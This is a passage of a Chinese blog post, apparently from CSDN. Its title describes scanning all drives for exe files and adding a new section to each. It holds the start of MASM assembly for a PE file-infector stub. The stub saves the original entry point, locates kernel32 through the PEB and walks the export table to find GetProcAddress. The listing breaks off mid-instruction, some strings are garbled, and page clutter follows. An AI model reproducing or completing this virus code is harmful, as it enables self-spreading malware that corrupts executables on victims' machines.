遍历全盘exe文件,给遍历到的exe文件添加一个新节

_call    MACRO    procedure,parameters:VARARG
    LOCAL    param,reversed
    reversed    TEXTEQU        <>
    %    for  param,<parameters>
        reversed  CATSTR  <param>,<!,>,reversed
    endm
    %    for  param,<reversed>
        push    param
    endm
    call     procedure
endm

;===========================================================================================

.code
    attach_start        equ    $
    OEP            dd    0
    szText            db    "¹§Ï²£¡×¢Èë³É¹¦",0       
    szCaption            db    "×¢Èë²âÊÔ",0
    _GetProcAddress        dd    0
    _MessageBox        dd    0
    _LoadLibrary        dd    0
    _FreeLibrary        dd    0
    _ExitProcess        dd    0
    hLibUser32        dd    0
       


    szLibUser32        db    "user32",0
    szMessageBox        db    "MessageBoxA",0
    szLoadLibrary        db    "LoadLibraryA",0
    szFreeLibrary        db    "FreeLibrary",0
    szExitProcess        db    "ExitProcess",0

    attach_code_start        equ    $
    call    Attachment
   

Attachment    proc
            assume fs:nothing
             push    esi
             xor    ecx,ecx
             mov    esi,fs:[30h]
             mov    esi,[esi+0ch]
             mov    esi,[esi+1ch]
     @next_module:
             mov    eax,[esi+08h]
             mov    edi,[esi+20h]
             mov    esi,[esi]
             cmp    [edi+24],cx
             jne    @next_module
             pop    esi
 ;=====================================??kernel32.dll????eax?==========================
             push    ebp
             push    ebx
             push    edi
             push    esi
             mov    ebp,eax
             add    eax,[eax][IMAGE_DOS_HEADER.e_lfanew]
             mov    edi,[eax][IMAGE_NT_HEADERS.OptionalHeader.DataDirectory]
             add    edi,ebp
             mov    esi,[edi][IMAGE_EXPORT_DIRECTORY.AddressOfNames]
             add    esi,ebp
             ;????kernel32 ??
             xor    edx,edx
     @@name:   
             mov    eax,[esi]
             add    eax,ebp
            
     @@chgp:
             cmp    dword  ptr [eax+00h] ,"PteG"
             jne    @@next
             cmp    dword  ptr [eax+04h] ,"Acor"
             jne    @@next
              cmp    dword  ptr [eax+08h] ,"erdd"
             jne    @@next           
             cmp    word  ptr [eax+0ch] ,"ss"
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值